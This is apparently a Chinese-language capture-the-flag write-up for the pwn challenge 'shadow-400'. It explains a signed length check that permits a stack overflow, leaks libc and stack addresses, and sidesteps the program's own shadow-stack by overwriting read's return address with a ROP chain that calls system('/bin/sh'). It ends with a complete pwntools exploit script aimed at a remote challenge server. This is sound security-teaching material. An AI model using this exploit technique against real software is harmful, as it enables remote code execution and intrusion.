攻防世界PWN之shadow-400題解

shadow-400

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

程序裏面自己實現了call和ret

call函數

push函數

這是主功能區

看不出什麼,我們來分析彙編代碼

atoi的結果是一個有符號的數,而getline的長度參數爲無符號數,爲了繞過0x20個長度的限制,我們只需輸入負數,即可,就可以棧溢出了。

首先,我們需要泄露libc地址,那麼我們只需泄露任意一個libc函數地址即可,我們可以棧溢出,覆蓋ebp+arg_0裏面的指針爲函數的got表,即可泄露了,同時,爲了增加利用次數,我們把[ebp+arg8]覆蓋爲一個很大的數,比如0x100

原本只能利用3次,現在,我們覆蓋了[ebp+arg_8]的值,就可以多次利用了

  1. #覆蓋指針,覆蓋getline的長度,覆蓋循環最大次數,用於泄露函數地址及多次利用  
  2. payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)  
  3. setMessage(payload)  
  4. sh.recvuntil('<')  
  5. atoi_addr = u32(sh.recv(4))  
  6. print 'atoi_addr=',hex(atoi_addr)  
  7. libc = LibcSearcher('atoi',atoi_addr)  
  8. libc_base = atoi_addr - libc.dump('atoi')  
  9. system_addr = libc_base + libc.dump('system')  
  10. binsh_addr = libc_base + libc.dump('str_bin_sh')  

現在,我們可以構造ROP了??

如果是一般的步驟,直接構造ROP就可以getshell了,然而,本題沒有這麼簡單。本題自己實現了個shadow call和shadow ret,自己申請了一片空間專門用來管理返回地址,因此,我們覆蓋棧裏的當前函數的返回地址沒有用。因爲ret()函數是從自己的那片空間裏取出地址返回。

也就是說,只要是這個二進制裏的幾個函數都不行,那麼我們可以考慮劫持libc中的函數的返回地址。因爲libc中沒有使用這個shadow callret

我們可以直接劫持read的返回地址,這樣read結束後直接就執行ROP了。

注意到這裏,利用之前的棧溢出,我們覆蓋[ebp+arg_0]指針可以實現任意地址讀寫,如果本題沒有FULL RELRO,我們都可以直接在這裏修改GOT表了。

我們只需把[ebp+arg_0覆蓋爲] read的返回地址在棧裏存放的位置,然後在這裏輸入ROP即可

因此,我們還需要泄露棧地址,這樣才能確定read返回地址存放的位置。有兩種方法泄露棧地址

  1. 在程序最開始的時候,輸入的name長度爲16,並且沒有空字符,即可輸出棧後面的數據,就能得到裏面的數據。
  2. 覆蓋指針爲libc中的environ變量的地址,environ變量保存着棧地址。

這裏,我使用的是第1中方法。因此,程序第一次輸入的時候,我們這樣

  1. #泄露棧地址,然後,我們可以計算出劫持read的返回地址存放在棧裏的位置  
  2. setName('zhaohai'.ljust(0x10,'a'))  
  3. setMessage('hello,I am zhaohai')  
  4. sh.recvuntil('<')  
  5. sh.recv(0x1C)  
  6. stack_addr = u32(sh.recv(4))  
  7. changeName('n')  
  8. print 'stack_addr=',hex(stack_addr)  
  9. #我們需要利用setName修改這個地方,這裏是libcread返回地址存放處,這裏佈下ROP即可  
  10. target_addr = stack_addr - 0x100  

綜上,我們完整的exp腳本

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./shadow-400')
sh = remote('111.198.29.45',54578)
elf = ELF('./shadow-400')
atoi_got = elf.got['atoi']

def setName(name):
   sh.sendafter('Input name :',name)

def setMessage(message):
   #-1轉換爲無符號數,就很大,造成read溢出棧
   sh.sendlineafter('Message length :','-1')
   sh.sendafter('Input message :',message)

def changeName(c):
   sh.sendlineafter('Change name?',c)

#泄露棧地址,然後,我們可以計算出劫持read的返回地址存放在棧裏的位置
setName('zhaohai'.ljust(0x10,'a'))
setMessage('hello,I am zhaohai')
sh.recvuntil('<')
sh.recv(0x1C)
stack_addr = u32(sh.recv(4))
changeName('n')
print 'stack_addr=',hex(stack_addr)
#我們需要利用setName修改這個地方,這裏是libc中read返回地址存放處,這裏佈下ROP即可
target_addr = stack_addr - 0x100
#覆蓋指針,覆蓋getline的長度,覆蓋循環最大次數,用於泄露函數地址及多次利用
payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
setMessage(payload)
sh.recvuntil('<')
atoi_addr = u32(sh.recv(4))
print 'atoi_addr=',hex(atoi_addr)
libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
changeName('n')
#覆蓋指針,然後我們利用setName寫數據到目標處
payload = 'a'*0x34 + p32(target_addr)
setMessage(payload)
#現在,可以發送ROP了
rop = p32(system_addr) + p32(0) + p32(binsh_addr)
setName(rop)


sh.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章